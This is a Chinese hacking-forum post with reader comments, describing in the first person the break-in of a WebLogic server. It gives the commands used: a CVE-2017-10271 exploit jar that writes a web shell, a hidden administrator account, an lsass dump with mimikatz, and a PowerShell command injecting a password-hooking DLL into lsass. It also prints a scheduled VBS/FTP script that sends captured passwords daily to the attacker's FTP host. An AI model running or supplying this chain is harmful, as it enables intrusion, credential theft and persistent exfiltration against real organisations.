Weblogic引发的血案
漏洞验证与利用
在某次测试中发现了某某站点开了7001端口的Weblogic服务
运用payload向其写入shell。
java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx:7001 abc.jsp
成功后会显示一个shell地址:http://xxx.xxx.xxx:7001/bea_wls_internal/abc.jsp?password=secfree&command=whoami
这里请无视(xxx)
信息收集
访问shell地址执行命令,获取机子信息:
whoami -->xxx\admin
ipconfig -->公网地址
sysinfo -->win2008x64 R2 EN 工作组 257个补丁
net localgroup administrators --> 得知当前用户(admin)是管理组
tasklist -->杀软卡巴斯基(avp.exe)
执行netstat -ano看下端口,发现没有开启3389端口。但这不是绝对的,有些可爱的管理员会把3389端口改成别的端口,进行远程链接。所以要想知道真正的远程端口链接是多少需执行tasklist /svc命令,查看svchost.exe对应的TermService的pid
该目标机为:
svchost.exe 3788 TermService
查看对应的PID,得知远程链接端口为39800
攻击
net user admin1 Qww123!/add&net localgoup administrators admin1 /add
链接远程端口之!
emmm什么时候冒出了一个熊猫卫士清理工具??
好吧。
这杀软环境挺让人绝望的,光是卡巴就够呛还来个熊猫帮手
较新版本的卡巴对lsass进程全面封锁,进程是动不了的,但幸运的是,该机子的卡巴是旧版本,而且病毒库也不更新,得利于管理员的懒惰,成功将它的lsass进程创建为转储文件lsass.DMP,并把它拖回本地dump
mimikatz获取到管理员密码
巩固
都已经拿到管理员密码了,你还想怎样?没错,我不仅要拿你的密码,就算你修改新的密码,我也要知道!
准备HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1文件,然后运行该powershell脚本将dll注入到lsass进程中。利用方法文章结束后有相关链接
将准备好的文件丢进目标机子,执行命令:
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"
成功安装,当管理员修改密码的时候会记录下新的密码,且以文本的形式保存在c:\windows\temp\passwords.txt
因为管理员没有这么快改密码,所以自己就创建一个管理员用户,并修改密码做测试
OK,没问题
传输
实际过程中如果管理员修改了密码,我们是要将passwords.txt传送出来的。
方法有很多,这里就用个简单的FTP上传文件的方式,将文件发送到FTP服务器
将VBS脚本放到任务计划书里,按时执行,VBS代码如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide
ftp.txt内容为:
open xxx.xxx.xxx.xxx
ppp
123456
put c:\windows\temp\passwords.txt
bye
继续忽略xxx
是,目标机子运行FTP xxx.xxx.xxx.xxx(xxx为FTP服务器的IP)报错:访问被拒绝
可能是卡巴惹的祸吧,没有深究,自己上传上ftp.exe上去运行
成功链接到FTP服务器
在任务计划书里定时一天发送一次,搞定。
相关链接
WebLogic Payload:https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
HookPasswordChange:http://wooyun.jozxing.cc/static/drops/tips-13079.html
TCV=1
T00ls的makdown功能真心不好用啊!各位看官可到个人博客阅读。
个人博客:http://hone.cool/
评论44次
才刚评论楼主上一篇RMI说,weblogic、jboss也是容易突破的点,没想weblogic就出来了。。 在来评一波。 在一些业务xi统相对复杂的单位,架构中也常出现这些服务,如Redis、Memcache、ElasticSearch、Couchdb,也通常会发现一些未授权或命令执行的问题,很好突破。
dll注入,挺溜的。不过装个马子,啥时候想要密码,咪咪抓一下也行么
进程注入劫持管理员改密码,这姿势学到了。dll可否分享一下?另外感觉ftp上传密码这里,暴露了自己的一台机器的ip以及用户名密码啥的,这里是不是有更猥琐的思路。
当楼主冲上去的时候就已经很暴露了,ftp的密码肯定是随便弄的,权限肯定要设置好的。
进程注入劫持管理员改密码,这姿势学到了。dll可否分享一下?另外感觉ftp上传密码这里,暴露了自己的一台机器的ip以及用户名密码啥的,这里是不是有更猥琐的思路。